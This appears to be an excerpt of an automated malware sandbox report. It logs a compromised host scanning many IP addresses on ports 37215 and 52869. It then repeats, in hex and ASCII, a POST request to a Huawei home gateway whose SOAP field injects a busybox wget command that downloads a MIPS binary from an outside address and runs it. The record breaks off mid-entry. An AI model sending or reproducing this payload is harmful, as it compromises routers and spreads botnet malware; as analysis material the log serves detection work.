Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.173.133.196:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.155.48.223:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.186.217.138:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.161.17.42:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.149.242.53:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.102.145.167:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.70.252.242:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.137.73.224:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.117.203.12:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.209.14.44:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.213.195.138:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.136.54.214:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.189.18.71:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.82.165.180:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.39.182.13:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.95.118.92:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.58.229.17:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.43.102.49:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.154.36.82:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.213.92.215:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.124.110.115:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.163.208.172:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.1.170.191:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.176.77.198:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.238.42.156:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.186.119.11:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.179.98.82:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.254.82.90:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.99.187.147:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.245.239.233:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.201.212.215:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.81.111.77:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.235.66.5:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.8.150.96:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.70.52.28:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.11.185.106:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.18.100.94:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.243.39.237:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.146.5.104:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.144.203.47:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.85.79.190:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.163.41.111:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.221.252.176:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.184.94.163:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.67.63.130:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.127.74.18:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.160.219.53:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.110.11.186:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.80.126.122:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.109.36.84:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.124.144.40:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.240.242.147:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.64.21.156:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.58.182.240:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.39.224.158:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.53.135.75:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.104.1.140:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.131.216.173:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.86.225.59:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.12.183.82:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.98.13.27:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.147.103.128:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.95.18.156:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.175.15.107:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.168.204.67:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.136.4.4:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.186.50.157:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.58.154.143:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.133.181.143:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.36.248.106:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.188.26.47:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.31.104.144:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.181.167.144:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.87.143.194:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.205.249.76:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.159.204.211:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.40.215.171:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.179.111.50:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.170.237.89:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.2.115.227:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.247.238.124:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.162.113.37:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.80.229.200:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.194.12.8:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.5.117.57:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.135.63.95:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.39.97.211:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.246.249.249:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.163.18.10:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.96.40.141:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.78.114.171:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.244.133.100:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.45.210.105:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.251.115.107:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.229.187.167:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.124.11.130:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.220.57.96:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.104.248.55:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.233.151.166:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.63.205.167:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.64.166.192:37215
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 156.157.5.228:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 156.11.61.117:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 41.215.136.194:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 41.165.76.176:52869

Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 36 37 2e 32 35 31 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.248.167.251 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 36 37 2e 32 35 31 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.248.167.251 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 36 37 2e 32 35 31 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.248.167.251 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 36 37 2e 32 35 31 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.248.167.251 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 36 37 2e 32 35 31 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.248.167.251 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 36 37 2e 32 35 31 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.248.167.251 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 36 37 2e 32 35 31 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope 